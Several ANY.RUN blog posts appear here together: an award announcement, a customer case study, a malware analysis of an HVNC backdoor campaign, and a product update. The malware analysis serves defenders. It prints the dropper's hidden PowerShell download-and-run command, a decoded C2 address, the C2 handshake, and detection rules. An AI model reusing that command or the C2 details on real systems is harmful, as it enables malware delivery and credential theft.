In G2’s Fall 2026 awards, we earned both Momentum Leader and Grid Leader recognition, highlighting our continued growth and strong position in the market. Most importantly, these achievements reflect the trust security professionals place in ANY.RUN every day to support their threat investigations.

How ANY.RUN Delivers Measurable Value for Modern SOCs

G2’s Grid Leader and Momentum Leader awards offer two complementary perspectives on a technology solution.

Being named a Grid Leader reflects strong customer satisfaction combined with a solid market presence. Momentum Leader recognition highlights products demonstrating significant momentum within their category.

For ANY.RUN, reaching both achievements in the malware analysis category demonstrates two things we care deeply about: delivering measurable value to security teams and continuing to evolve alongside the threats they investigate.

SOCs today need more than just a place to upload suspicious files. Analysts need instant visibility into what a threat actually does. SOC leaders need confidence that their teams can investigate incidents efficiently and consistently.

That is the problem ANY.RUN’s Interactive Sandbox continues to solve.

ANY.RUN helps teams establish a more consistent approach to threat investigation by giving analysts access to shared analysis and intelligence capabilities. This can reduce repetitive work, make investigation processes easier to standardize, and help teams make better use of their expertise.

By supporting investigations across multiple environments, including Windows, Linux, macOS, and Android, we give teams broader visibility when analyzing threats that target different platforms.

Helping SOC Leaders Build More Efficient Operations

For SOC leaders, the value of extended investigation opportunities extends beyond individual alerts. The bigger challenge is creating an operation that can handle growing volumes of threats without sacrificing analysis quality.

ANY.RUN also fits into existing security workflows through integrations and team-oriented capabilities, helping organizations incorporate analysis into the processes they already use.

At scale, this translates into a practical advantage: analysts can work from a common source of threat context, while security teams can connect ANY.RUN with existing SIEM, TIP, and SOAR environments through APIs, SDKs, and out-of-the-box integrations.

Explore all ANY.RUN integrations

By integrating ANY.RUN into their workflows, SOCs can improve operational efficiency at scale. 95% of SOCs report faster threat investigations, while teams can reduce MTTR by up to 21 minutes per case and cut Tier 1 workload by up to 20%.

Recognition That Reflects the People Using ANY.RUN

The most meaningful part of each G2 recognition isn’t the badge itself but the experience behind it.

ANY.RUN is used by over 700,000 security professionals around the world, as well as 16,000+ SOC and MSSP teams that rely on our solutions for malware analysis, threat intelligence, alert triage, phishing investigations, threat hunting, and incident response.

Every investigation performed with ANY.RUN represents a real security decision: whether an alert is malicious, whether a link is safe, whether an endpoint has been compromised, or whether an incident requires escalation.

Our responsibility is to make those decisions easier to reach and more reliable.

Conclusion

Being named a Momentum Leader and Grid Leader in G2’s Fall 2026 rankings is recognition of the progress we have made with the cybersecurity community and motivation to keep improving.

We will continue investing in the capabilities that matter most to security teams: faster investigations, richer context, stronger threat intelligence, broader threat coverage, and workflows that reduce unnecessary effort for analysts.

For analysts, that means better tools for understanding what threats actually do. For SOC leaders, it means building more efficient, consistent, and resilient security operations. And for the organizations they protect, it means turning threat data into confident action sooner.

About ANY.RUN

ANY.RUN develops cybersecurity solutions for SOC and MSSP teams, supporting threat monitoring, detection, triage, investigation, and incident response.

Interactive sandbox analysis combined with threat intelligence capabilities supported by over 16,000 organizations worldwide help security professionals understand threats and make confident decisions faster.

For enterprises, ANY.RUN helps reduce investigation time and analyst workload while supporting secure, compliant operations.

ANY.RUN is SOC 2 Type II attested and committed to strong security control and customer data protection. Privacy is also ensured by SSO, MFA, role-based access controls, and integrations with existing security tools that help SOCs scale efficiently and maintain control.

FAQ

The post ANY.RUN Secures Leader Status in G2’s Malware Analysis Rankings appeared first on ANY.RUN's Cybersecurity Blog.

To get an insider’s view on how teams navigate these industry demands, we sat down with Philipp Z., Security Lead at a leading German manufacturer. He shared how replacing complex manual analysis with ANY.RUN’s Interactive Sandbox helped his team accelerate incident response by 15 minutes per case, eliminate tedious routines, and strengthen their overall security posture.

Customer Profile: Protecting a Large-Scale Industrial Footprint with a Small, Agile Team

Philipp’s company has a massive computer network with 10,000 devices and 10,000 users, including both office computers and servers. To protect this huge system, they don’t use a massive security department. Instead, everything is run by a quick, flexible team of just five professionals.

Our responsibilities include proactive hardening and reactive response. When alerts appear in our XDR system, we analyze them, react quickly, and execute our security procedures like immediately isolating devices or pushing cloud reinstalls. It is a massive footprint, and we have to handle it dynamically.

Philipp Z., Security Lead

They split their focus between two main jobs: stopping threats early and responding quickly. When security alerts pop up in their monitoring system, they immediately jump in to contain and inspect the problem. When things are quiet, they work with other IT teams to upgrade the company’s overall defenses.

The Challenge: Forensic Laptop Bottleneck and Selective Triage

Before switching to ANY.RUN, the German company ran into major delays because of how they analyzed threats. Their XDR was great at flagging potential dangers, but it couldn’t show them how a file or URL actually behaved in real time.

It’s less burnout and also less work in general. The hassle of just booting the different machine, going to the VM, entering any encryption keys… it just was tedious work. It was not rewarding work or any fun work…

Philipp Z., Security Lead

To safely analyze potential malware and phishing, the team had to use a single dedicated laptop kept completely offline. This machine ran a host Ubuntu operating system, which housed a virtualized Flare VM and the SANS forensic toolkit.

While this setup was functional, it introduced problems:

• Long Setup Time: Physically retrieving the laptop, booting up, entering multiple keys, and configuring VMs ate up 5 to 10 minutes of critical triage time before analysis could start.
• Risky Manual Data Transfer: Being fully air-gapped made moving data tedious and risky. Analysts had to manually copy files via USB or type complex URLs by hand.
• Single-User Access: As a single physical laptop at HQ, only one analyst could use it at a time, creating immediate backlogs during concurrent alerts.

This setup created an even bigger issue when the team started working from home. Analysts spent about 25% of their time working remotely. If a threat hit on a remote day, workers could not use the office laptop at all, leaving dangerous security gaps.

Before, we were carefully selecting the stuff that we really want to analyze, because it was just so much work, and for everything else, it was easier to just assume true positive.

Philipp Z., Security Lead

On top of that, testing just one file took so much time and effort that the five-person team could only check a tiny fraction of their alerts. They had to constantly pick and choose which suspicious files to inspect and which ones to skip completely.

Since they couldn’t check every alert, the team had to assume the worst every time. Whenever a suspicious file popped up, they would disconnect the user’s computer and completely wipe it, reinstalling everything from scratch. While this brute-force method kept the network safe, it dumped a huge amount of extra work on the IT staff and left employees unable to work for hours.

The Solution: Building a Scalable, Cloud-Managed Interactive Triage Workspace

To break free from the constraints of physical hardware and manual setup times, the company needed an enterprise-grade solution for triaging files and URLs that was completely isolated, cloud-managed, and accessible from anywhere. They found the answer in ANY.RUN’s Interactive Sandbox.

During my time as a student, I was able to experience the platform first hand. The usability is great, the options that you have are great… And of course, as an enterprise, the pricing is also great.

Philipp Z., Security Lead

ANY.RUN fit the company’s security team needs perfectly, giving them a safe, central workspace without any of the old setup headaches:

• Complete Safety and Privacy: The sandbox runs entirely in a private cloud, kept totally separate from the company’s main network. Analysts can open dangerous files and links with zero risk of spreading malware, infecting their own computers, or exposing sensitive data.
• Distributed and Remote-Ready: Being cloud-managed, ANY.RUN is accessible from any location. Whether the team is working in the office or from home during their remote office rotations, they have identical access to deep behavioral analysis.
• Fast, Interactive Triage: The team created a quick, simple workflow. When users report suspicious emails or potential phishing links, analysts simply copy the link, paste it into ANY.RUN, interact with the live virtual machine to observe behavior, and receive a definitive verdict in seconds.

While the immediate visual verdict in ANY.RUN is sufficient for the team’s rapid daily triage, documenting these investigations is critical for compliance. The team relies on ANY.RUN’s comprehensive reporting feature for audit support.

The verdict is usually enough for our daily analyst work. We download the report for archival stuff, and if the compliance department wants to have a review at our work… Two or three months later, someone wants to ask, ‘Hey, why did you decide on this specific case?’ I don’t know, I have had a thousand cases in the meantime, so I have to look at the report. And then I say, ‘Okay, this is why we responded like that.

Philipp Z., Security Lead

ANY.RUN proved so effective that the company gave licenses to two Exchange email admins. Strict filters often quarantine normal emails, which used to drag security analysts away from major threats. Now, email admins safely test held files and links in ANY.RUN’s Interactive Sandbox themselves, quickly releasing clean messages without wasting the security team’s time.

SOC Results: Shrinking Response Times and Fueling Analyst Engagement

The biggest quick win after starting with ANY.RUN was how much faster the team could process security alerts. By cutting out all the manual steps of setting up a physical laptop and configuring virtual machines, the team now saves an average of 15 minutes on every single alert they investigate.

In median, I think we were able to take 15 minutes from every alert response, just by using ANY.RUN, without anything else, without the analysis time and the time it saves us. Just by being able to look at the process tree, just the whole starting VM pointing stuff there alone per incident, 15 minutes. Which is a lot if you are time-critical…

Philipp Z., Security Lead

These time savings directly help the team take fast action against serious security threats. The company maintains an impressive response goal of just 2.5 minutes from the moment a dangerous alert goes off to completely locking down the affected device.

By making threat analysis almost instant and easy, ANY.RUN gives the five-person team the extra power they need to handle heavy workloads. Instead of making risky compromises or guessing which alerts matter, the team can now easily check every single suspicious link, reported email, or flagged file that comes their way.

Before, we were carefully selecting the stuff that we really want to analyze, because it was just so much work, and for everything else, it was easier to just assume true positive. But now, we just like to put anything we deem suspicious into ANY.RUN and have a look… My team is handling 20, 30, 40 tasks per day, so it is good at scale.

Philipp Z., Security Lead

To ensure the integrity of their triage, Philipp’s team actively tracks a key performance indicator, KPI agreement rate with ANY.RUN’s true/false positive classifications. Currently, it stands at 95%, showing total confidence in their threat determinations.

In an industry with high workloads and tedious tasks, repetitive workflows regularly lead to professional exhaustion. Introducing ANY.RUN has directly improved the team’s daily work environment.

ANY.RUN just makes the job fun, because you just point the VM, you can explore it, you can try to see what happens if you execute the malware, and then dig deeper from the process tree… It is definitely a good addition to the team, because SOC burnout is very much a threat that I want to prevent in my team.

Philipp Z., Security Lead

By removing the non-rewarding and exhausting physical chores of the legacy system, the job has once again become an engaging, investigative experience. Analysts are now empowered to safely and interactively explore how threats operate, digging deep into process trees and visual execution paths.

How ANY.RUN Helped Detect an Encrypted Multi-Stage Email Threat

A good example of ANY.RUN’s hands-on value happened when the team had to investigate a complex attack designed to exploit the blind spots of automated security.

The incident began when their XDR system flagged a suspicious shortcut (.lnk) file being opened on a computer. Following strict protocol, the analyst immediately isolated the machine to stop any potential threat from spreading while they investigated.

Using the computer’s history logs, they traced the file back to a web download, which led them back to an incoming email. To uncover the full, multi-stage delivery architecture, the analyst detonated the suspicious email from the XDR in ANY.RUN’s Interactive Sandbox. The analysis revealed the following attack chain:

1. The Vector: The spear-phishing email contained a benign-looking PDF attachment.
2. The Redirect: Inside the PDF was a malicious link directing the user to download an external archive.
3. The Stealth Layer: This external archive was an encrypted, password-protected ZIP file. Critically, the decryption password was only displayed as text within the PDF attachment itself.

Because the ZIP archive was encrypted, automated mail gateway filters and static antivirus scanners were unable to parse or inspect the files hidden inside.

Looking at the process tree, we could clearly see the progression from Outlook to Edge, and finally to the malware execution. This process tree allowed us to visually confirm that the exact execution path we observed on our employee’s endpoint was mirrored safely inside the ANY.RUN virtual machine.

Philipp Z., Security Lead

This precise match gave the team absolute certainty that they had identified the exact source of the infection. Without ANY.RUN, the phishing email would have remained active on the mail server, posing an active threat of lateral forwarding or secondary infection.

An antivirus alert for us is not the end of a report, but the start… The email wasn’t automatically removed because the context was missing from the email to the finally malicious execution chain. Without the ANY.RUN analysis, we supposedly would not have been able to remove the email, so maybe it would have been forwarded or used to execute on another device.

Philipp Z., Security Lead

Equipped with the full context from ANY.RUN, the SOC team systematically searched for and purged the malicious email from all other user mailboxes across the organization.

It’s such a perfect example that I have saved the active ANY.RUN analysis link for internal training. It shows the team, from start to finish, exactly how an infection path moves from an email to a web-downloaded encrypted archive, and finally to a payload executing on the device.

Philipp Z., Security Lead

Business Value: Hard ROI and a Leap in Cybersecurity Maturity

Deploying ANY.RUN delivered an immediate Return on Investment (ROI) and a leap in operational maturity.

For a lot of C-suite or manager people that just look at the numbers, it’s hard to get a clean return on investment number, because IT security just costs something… But for me personally, I think the biggest indicator that really works is just the time. If you have a look at the time that a SOC analyst costs, and just look at the numbers for the time saved per incident, you can directly get a good return number.

Philipp Z., Security Lead

Instead of being forced to hire additional highly specialized analysts to handle an escalating threat landscape, the existing 5-person team seamlessly absorbs a massive enterprise workload, completely stabilizing labor costs while keeping the company secure.

Beyond the financial metrics, ANY.RUN has catalyzed a profound shift in the company’s internal security posture, representing a significant jump in maturity.

For us internally, it definitely was a big jump in maturity, going from a small team that handles these incidents manually with a laptop, to handling incidents cleanly, timely, and at scale. You can’t put a price tag on usability, but it’s just so much easier now.

Philipp Z., Security Lead

The security team has evolved from a small group reacting slowly through manual, localized workflows into a highly efficient, distributed operation capable of investigating enterprise-level threats at scale.

By providing a lightning-fast sandbox that analysts actually enjoy using, the firm has built a more resilient, highly motivated, and burnout-free defensive unit.

Ultimately, ANY.RUN gives the German manufacturer the technical agility to respond to threats effectively, protecting both their physical operations and their standing as a trusted global industrial partner.

Conclusion

For this German manufacturer, managing a footprint of 10,000 endpoints with a team of only five colleagues required a highly efficient way to analyze daily security threats. Replacing their manual, physical forensic laptop with ANY.RUN streamlined this process, saving a median of 15 minutes of setup and analysis time per alert. This practical optimization has allowed the compact team to comfortably handle 20 to 40 tasks daily, prevent analyst burnout, and support a jump in the team’s internal operational maturity.

We would like to extend our sincere thanks to Philipp Z. for sharing his team’s experience and showing how a lean team can successfully keep a large enterprise footprint secure.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by more than 16,000 organizations worldwide, including 74% of the Fortune 100.

Its Interactive Sandbox and Threat Intelligence solutions help SOC teams analyze suspicious files and URLs, uncover malicious behavior, enrich investigations with actionable context, and connect related activity across infrastructure and campaigns.

This helps security teams reduce investigation time, lower MTTD and MTTR, and contain threats before business impact grows.

The post 15 Minutes Saved Per Alert: How a Lean German Manufacturer Protects 10,000 Endpoints with ANY.RUN appeared first on ANY.RUN's Cybersecurity Blog.

Fake tax documents are being used to target organizations across LATAM, delivering a custom HVNC backdoor built for stealthy, persistent access. Once installed, the malware can give attackers hidden remote control, steal browser data, monitor keystrokes, and survive system reboots.

The attack chain combines trusted business lures, anti-analysis techniques, and infrastructure designed to keep access hidden. For security leaders, the risk goes beyond a single compromised endpoint: persistent access can expose credentials, sensitive data, and business systems while giving attackers more time to move deeper into the environment.

HVNC Campaign Overview

The campaign uses fake DocuSign notifications, NFe tax documents, and banking-themed phishing to deliver a custom HVNC backdoor. Once installed, it can give attackers hidden remote control and persistent access to compromised systems.

Business Risks Behind the HVNC Campaign

For organizations, the danger lies in how much access the malware can provide once a device is compromised. Its capabilities can increase both the scope of exposure and the time attackers remain active in the environment.

• Credential and session theft: The malware monitors keystrokes and targets Firefox cookies, browsing history, and permissions, putting account access at risk.
• Hidden remote control: HVNC functionality lets attackers interact with the compromised system through a hidden desktop, including screen capture and simulated mouse and keyboard input.
• Persistent access: The backdoor establishes Startup-folder persistence, allowing it to remain active after system reboots.
• Reduced visibility for defenders: The malware checks for more than 20 AV/EDR processes and adjusts its behavior when security software is present.
• Longer exposure to compromise: Its persistent C2 connection and repeated reconnection attempts are designed to keep the implant available even through network interruptions.

Who Is This Campaign Targeting?

The campaign appears financially motivated, with a clear focus on banking and financial services in Latin America. Threat intelligence analysis using ANY.RUN data revealed phishing infrastructure impersonating major banks, alongside fake tax-document lures designed to blend into routine financial and administrative workflows.

Attack Chain Overview

The campaign follows a four-stage infection chain that moves from fake DocuSign and NFe tax-document lures to a persistent HVNC backdoor. Each stage uses separate delivery, staging, and C2 infrastructure, making the operation harder to trace and disrupt.

• Stage 1 – Initial Access: a spoofed DocuSign “document ready for download” page (and a parallel NFe/DANFE-themed lure) with anti-sandbox and anti-automation logic, serving a dynamically generated ZIP archive per visitor.
• Stage 2 – Dropper: a Windows .lnk shortcut disguised as a tax-document receipt, whose target is a hidden PowerShell one-liner that downloads and executes a second-stage binary.
• Stage 3 – Loader: an NSIS self-extracting installer bundling the final payload alongside legitimate-looking runtime DLLs (OpenCV, MSVC redistributables) used as cover noise.
• Stage 4 – Payload: a 64-bit backdoor (masquerading as “Windows Update Assistant” / Microsoft Corporation in its version metadata, while unsigned) implementing AV/EDR discovery, a hidden virtual desktop for remote operator control, keystroke monitoring, Firefox cookie/history/permission theft, and a browser-redirection command – all communicating over TCP/27015 to infrastructure hosted with GHOSTnet GmbH (Frankfurt, DE).

The Lure: A Fake DocuSign Notification With a Personality

The entry point is a cloned DocuSign “your document is ready” page. It’s a convincing fake – the logo is pulled live from DocuSign’s own CDN – but the copy gives it away: the document name reads “Documento_Contrato_Signado.pdf,” a non-native construction of the Portuguese word for “signed.” A build marker (0a4b2aff1c2ebf8b) sits in the HTML, likely a phishing-kit fingerprint we can use to track this kit elsewhere.

Before it hands over anything, the page runs a small anti-bot gauntlet: it checks navigator.webdriver, zero-size browser windows, and known headless-browser artifacts, then waits for two genuine mouse/scroll/keyboard events (with a 3.5-second fallback) before arming the download. A silent background request also fingerprints the visitor’s browser, OS, timezone and screen size and reports it to the server first – almost certainly used to decide who actually gets a payload.

Once satisfied, the page doesn’t link to a file – it POSTs to api.php and gets back a JSON blob containing a base64-encoded ZIP, a SHA-256 hash, and a cheeky bit of social engineering: an alternate .nfe extension “in case the download gets blocked by SmartScreen.”

From Shortcut to Shellcode: The LNK Dropper

Inside the ZIP sits a Windows .lnk shortcut disguised as an NFe (Brazilian electronic tax receipt) confirmation, alongside five decoy .txt files with fabricated company data – generated fresh for every download, using real, recognizable Brazilian company names to boost trust.

The shortcut’s real target is powershell.exe, run with -WindowStyle Hidden -ExecutionPolicy Bypass, executing a one-liner that downloads a second-stage binary and runs it:

Invoke-WebRequest -Uri “http://<staging-ip>/dl.php?f=NotaFiscal…exe
&k=nfe_valid_access_key_2026_secure” `
-OutFile “$env:USERPROFILE\Desktop\$env:USERNAME.exe”; Start-Process $out

That k= parameter is a static access token gating the delivery server – a strong pivot for spotting other samples from the same kit, regardless of which IP is currently hosting it.

The shortcut’s own metadata turned out to be more useful than expected: Windows silently embeds the builder machine’s NetBIOS hostname into every .lnk file. Here, that hostname was “servee” – a detail that becomes very relevant once we get to infrastructure.

An Installer in Disguise: NSIS and the Weight of Legitimacy

The downloaded file is an NSIS (Nullsoft Scriptable Install System) self-extracting installer with a 22.9 MB compressed overlay. Unpacked, it drops:

• UpdateAssistant.exe – the real payload
• opencv_world4120.dll (~22 MB) – a genuine OpenCV library
• Four legitimate Microsoft Visual C++ redistributable DLLs

None of these DLLs are hijacked or trojanized – they’re just real, large, familiar-looking files bundled in to make the folder feel like a normal software installer. The actual malicious logic lives entirely in the one 177 KB executable sitting quietly among them.

Cracking the XOR: Finding the C2 Inside the Binary

UpdateAssistant.exe claims to be Microsoft Corporation’s “Windows Update Assistant” in its version metadata – while being completely unsigned. Static analysis in Detect It Easy immediately flags the giveaways: UnsignedMicrosoft, repeated XorInLoop patterns, and YARA hits for KeyloggerApi and BrowserStealer.

Reversing the network-setup routine in IDA Pro shows why. The C2 host is stored as 12 raw bytes, XOR-encoded with a single byte (0x37):

Raw: 02 19 05 04 07 19 05 03 0E 19 03 0E
XOR key: 0x37
Result: 5.230.249.49

The destination port is stored in plaintext: 27015 – the default port for Source-engine games like Counter-Strike. Reusing a gaming port is a small but deliberate choice: it blends the beacon into ordinary consumer traffic on a casual netflow review.

A second function decodes a small set of browser names (“chrome,” “firefox,” “msedge,” “brave,” “opera”) using a different XOR key (0x13), building commands like cmd.exe /c start chrome.exe <operator-supplied URL> – a command the operator can issue to force the victim’s browser open to any page of their choosing.

The Malware Introduces Itself: A Live HVNC Handshake

Static analysis told us the malware could create a hidden desktop (CreateDesktopA, SetThreadDesktop), capture the screen, inject input, and poll the keyboard state – the textbook ingredients of an HVNC implant. What we didn’t expect was for the malware to say so, out loud, on the wire.

Detonating a live build in ANY.RUN’s Interactive Sandbox and opening the raw TCP stream to the C2 in Text view surfaced this handshake, sent in the clear before any operator interaction:

HVNC-<client id>
CLIENT_ID:HVNC-<client id>
COMPUTER:<hostname>
USER:<username>
OS:<Windows version>
VERSION:1.2.0.4.71
MODE:FULL
DETAILS:[SISTEMA] Arquitetura: x64 (AMD64)
[SISTEMA] Processadores: 6
[SISTEMA] CPU: AMD Ryzen 5 3500 6-Core Processor
[SISTEMA] Memória Total: 6138 MB
[SISTEMA] Memória Disponível: 4343 MB
[SISTEMA] Antivírus: Não detectado (modo stealth)
[SISTEMA] Hostname: <hostname>
IDENTIFIER_CHANNEL:20

The banner literally opens with HVNC-. The malware authors named their own protocol, and it checks in with a full victim fingerprint – CPU model, RAM, architecture, and, tellingly, the result of the antivirus-discovery loop we found in static analysis. That loop isn’t just for self-throttling; its output is reported straight to the operator’s panel per victim. After the handshake, the stream switches to a binary frame format consistent with screen-tile data feeding the malware’s built-in OpenCV pipeline.

We also confirmed the port isn’t fixed: one build hardcoded 27015, while a separately detonated build connected live on 27017. Treat the port as a per-build configuration value, not a protocol constant – the VERSION:1.2.0.4.71 string is the more durable fingerprint.

Sticking Around: Persistence via a Fake Update Helper

A follow-up detonation answered the one question static analysis couldn’t: how does this thing survive a reboot? Watching the process tree in ANY.RUN, UpdateAssistant.exe copies itself – plus its cover DLLs – into a second folder under %APPDATA%\Roaming\Programs\Common\, renaming the executable to AppUpdateHelper.exe, then drops a shortcut into the current user’s Startup folder pointing at that copy.

That name isn’t a coincidence: earlier pivoting in ANY.RUN’s Threat Intelligence Lookup on the C2 IP had already surfaced runtime mutex values from unrelated prior submissions – Global\AppUpdateHelper_E7A2F and Global\WinSvc_4CF8B2E6 – from builds spanning back to March 2026. The prefix is stable across builds; only the suffix changes. Interestingly, we also caught this malware executing its own browser-redirect command in the wild: several TI Lookup events show msedge.exe –type=util… launched in direct correlation with a connection to the C2 IP, matching the capability we’d already decoded statically.

Following the Infrastructure Trail

The LNK’s embedded builder hostname – servee – turned into a live pivot. Querying Shodan for the staging IP (an Azure VM used only to host the second-stage download) showed an exposed RPC endpoint mapper leaking that exact NetBIOS name, confirming the builder machine and the delivery host are one and the same.

The live C2, by contrast, sits on a GHOSTnet GmbH VPS in Frankfurt – a different provider entirely, reflecting a deliberate split between disposable staging infrastructure and a stable, actively-managed C2 host (Shodan even shows a self-signed AnyDesk certificate on the box, suggesting the operator manages it remotely).

Pivoting further in TI Lookup on the same C2 IP surfaced several more findings worth flagging. First, the same server also hosts other stage-2 payloads under different lure themes (dl.php?f=cresol.exe&k=chave_tecl_cresol — a Sicredi/Cresol-branded variant), confirming this is a reusable kit, not a one-off. Related activity also showed the same NFe lure theme being delivered through ClickFix-style prompts, suggesting the operators can rotate delivery methods as well as infrastructure and payloads.

A related domain — gerenciadorcaixa.digital, cloning Caixa Econômica Federal’s corporate banking portal — shares the same gerenciador[bank].digital naming convention as a Banco do Brasil phishing clone found on a sibling IP, suggesting either a shared operator or hosting reseller behind multiple financial-phishing campaigns.

Capability Summary

The final payload combines remote-control, data-theft, evasion, and persistence capabilities in a single backdoor. The table below summarizes the behaviors confirmed during static and dynamic analysis, along with the confidence level for each finding.

Detection and Hunting Priorities

Because payload hashes and infrastructure can change between builds, detection should combine campaign-specific IOCs with more durable behavioral signals.

• Watch for suspicious PowerShell execution: Flag hidden PowerShell launched from .lnk files, especially commands combining Invoke-WebRequest and Start-Process.
• Check fake update binaries: Investigate unsigned processes named UpdateAssistant.exe or similar Windows Update-themed files running outside legitimate Windows directories.
• Hunt for HVNC behavior: Look for unsigned processes combining hidden-desktop APIs, screen capture, and simulated keyboard or mouse input.
• Monitor persistence: Alert on unusual .lnk files written to the Startup folder, particularly when they point to executables under %APPDATA%.
• Use durable network indicators: Hunt for the HVNC- protocol strings, VERSION:1.2.0.4.71, and the nfe_valid_access_key delivery token rather than relying only on current C2 IPs or ports.

How Organizations Can Reduce the Risk from HVNC Campaigns

Security awareness should reflect these workflows, especially for finance, accounting, procurement, and other document-heavy teams. Employees should know how to verify unexpected files or signing requests before opening them.

Treat Tax and Business Documents as a High-Risk Entry Point

Organizations handling large volumes of tax documents, invoices, signing requests, and other financial communications should treat unexpected downloads and attachments with extra scrutiny.

Security awareness should focus on the specific workflows attackers imitate, not phishing in general. Employees working in finance, accounting, procurement, and other document-heavy functions are especially important here.

Analyze Suspicious Files Before They Reach Production Systems

The campaign relies on several seemingly ordinary stages — a ZIP archive, an .lnk shortcut, PowerShell, and an installer — before the HVNC payload appears.

Suspicious files and URLs can be opened in an isolated environment such as ANY.RUN’s Interactive Sandbox to expose the full execution chain, including hidden PowerShell activity, dropped files, network connections, persistence, and C2 behavior before an analyst makes a containment decision.

Expand Investigations Beyond the First IOC

One malicious IP or file may represent only a small part of the campaign.

Using ANY.RUN’s Threat Intelligence Lookup, teams can pivot from an IP, domain, URL, mutex, or other indicator to related samples and infrastructure. In this investigation, those pivots exposed additional lure themes and connected activity beyond the original sample.

For security leaders, this means fewer incidents treated in isolation and a better chance of identifying the wider campaign before another endpoint is affected.

Push Fresh Threat Intelligence Into Existing Controls

Because payload hashes and infrastructure can change between builds, organizations should avoid relying only on static blocklists. The investigation already showed different payload hashes across builds while more durable behavioral and protocol indicators remained consistent.

Threat Intelligence Feeds can help distribute current malicious infrastructure and indicators into SIEM, EDR, firewalls, and other existing security controls, while behavioral detections provide coverage when individual IPs, domains, or payloads rotate.

Plan for Full Containment, Not Just Initial Cleanup

Once HVNC is installed, removing the original file is not enough. The malware establishes persistence, maintains C2 access, and can continue operating after reboot.

Incident-response plans should therefore include checking persistence mechanisms, terminating malicious processes, blocking C2 activity, reviewing exposed credentials and browser sessions, and confirming that attacker access has been fully removed.

Conclusion

This HVNC campaign shows how familiar business workflows can be turned into an effective path to persistent compromise. Fake tax documents and trusted-brand lures ultimately lead to a backdoor capable of hidden remote control, keystroke monitoring, browser-data theft, and long-term access.

For organizations across Latin America, the key lesson is to look beyond the initial phishing artifact and detect the behaviors and infrastructure that remain consistent as campaigns evolve:

• Simple delivery can lead to high-impact compromise: A phishing page, shortcut file, and installer ultimately provide attackers with a capable HVNC backdoor.
• Persistence increases the window of exposure: The malware can maintain access through a Startup-folder mechanism even after a reboot.
• Static IOCs are not enough: Payload hashes change between builds, making behavioral and protocol-based detection more reliable over time.
• C2 behavior provides durable detection opportunities: The malware exposes distinctive protocol strings and sends victim and AV information during check-in, giving defenders stronger hunting signals than IPs alone.
• Threat intelligence helps reveal the wider campaign: Pivoting from individual indicators exposed related lure themes, infrastructure, and financially motivated phishing activity beyond the original sample.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by more than 16,000 organizations worldwide, including 74% of the Fortune 100.

Its Interactive Sandbox and Threat Intelligence solutions help SOC teams analyze suspicious files and URLs, uncover malicious behavior, enrich investigations with actionable context, and connect related activity across infrastructure and campaigns.

This helps security teams reduce investigation time, lower MTTD and MTTR, and contain threats before business impact grows.

MITRE ATT&CK Mapping

Indicators of Compromise

File Hashes:

Network Indicators:

Host-Based Indicators:

Suricata (network-content, infrastructure-independent):

alert tcp any any -> any any (msg:”HVNC-family C2 handshake (NFe/DocuSign cluster)”; \
content:”HVNC-“; content:”CLIENT_ID:HVNC-“; content:”COMPUTER:”; \
content:”IDENTIFIER_CHANNEL:”; content:”VERSION:1.2.0.4.71″; \
flow:established,to_server; classtype:trojan-activity; sid:9000001; rev:1;)

YARA (final payload):

rule Trojan_HVNC_UpdateAssistant_Masquerade
{
meta:
description = “Detects the unsigned HVNC/keylogger backdoor masquerading as Windows Update Assistant”
author = “0xOlympus”
date = “2026-07-27”
hash = “5fbfc7929858c3c3d79637db857525695db3c0f41b9bf2a7b964c26b7226bde3”

strings:
$ff1 = “cookies.sqlite” ascii
$ff2 = “places.sqlite” ascii
$ff3 = “permissions.sqlite” ascii

$av1 = “avastui.exe” ascii
$av2 = “bdagent.exe” ascii
$av3 = “mcshield.exe” ascii
$av4 = “360tray.exe” ascii
$av5 = “ekrn.exe” ascii

$ver = “Windows Update Assistant” wide

// XOR(0x37)-encoded C2 host “5.230.249.49”
$c2cfg = { 02 19 05 04 07 19 05 03 0E 19 03 0E }

condition:
uint16(0) == 0x5A4D and
(2 of ($ff*)) and
(3 of ($av*)) and
($ver or $c2cfg)
}

The post HVNC Backdoor Targets LATAM Organizations with Fake Tax and DocuSign Lures appeared first on ANY.RUN's Cybersecurity Blog.

The release brings a more connected Threat Intelligence Lookup experience, broader threat coverage, and new research on active campaigns and emerging malware, giving analysts more context to investigate threats, reduce manual work, and act with greater confidence.

Product Updates

This month’s product update focuses on making threat intelligence easier to investigate and act on. Threat Intelligence Lookup now gives analysts a clearer path from a single indicator to related infrastructure, relevant observables, and the next step in the investigation.

New Connections Block in TI Lookup for Faster Threat Investigation

Threat Intelligence Lookup now makes it much easier to move from a single indicator to the wider network context around it. Instead of piecing together separate results, analysts can quickly follow related observables, focus on what matters, and move from a TI query to the next investigation step with less manual work.

The Domains, IPs, and URLs tabs have also been updated to make related observables easier to explore and pivot between. Whitelisted data is hidden by default, helping analysts focus on potentially relevant activity without legitimate infrastructure crowding the results.

Analysts can also export filtered results in JSON, so selected observables can be reused for retrohunting, checked against SIEM/NDR data, added to blocking workflows, or passed to Detection Engineering for further action.

Instead of stopping at a verdict or a list of indicators, analysts can now use TI Lookup to:

• pivot faster between URLs, domains, and IPs;
• focus on malicious and unknown relationships with less noise;
• uncover related infrastructure and build a clearer investigation picture;
• prepare a relevant set of observables for retrohunting and further analysis;
• move findings into blocking and detection workflows without rebuilding the dataset manually.

For SOC and security leaders, the value goes beyond saving analysts a few clicks. Connections shortens the path from a suspicious indicator to an actionable set of findings, reducing manual correlation and helping teams move faster into retrohunting, blocking, and detection updates. That supports lower time per case, higher analyst throughput, faster Time-to-IOC and Time-to-Block, lower MTTD and MTTR, and stronger detection coverage.

Threat Coverage Updates

Detection got a major boost this month, with 81 new behavior signatures, 16 YARA rules, and 559 Suricata rules added across ANY.RUN. Together, they strengthen coverage from malware execution and file analysis to phishing, network activity, and command-and-control traffic.

New Behavior Signatures

The latest signature additions focus on malware families analysts are likely to encounter across real-world investigations, from loaders and stealers to RATs, ransomware, and mobile threats. Coverage now extends across Windows, Linux, macOS, and Android, giving analysts more context directly from observed behavior during analysis.

New Suricata Rules

Network visibility also got a substantial update, with 559 new Suricata rules added to detect suspicious traffic patterns tied to phishing, malware delivery, and command-and-control activity. The new rules help surface malicious behavior directly from network traffic and give analysts more context around how threats communicate and spread.

Highlights include:

• Phish to RMM campaign related URL pattern (SID: 85008225): Detects webpage lures disguised as Adobe Reader installer pages that lead to infection with RMM software.
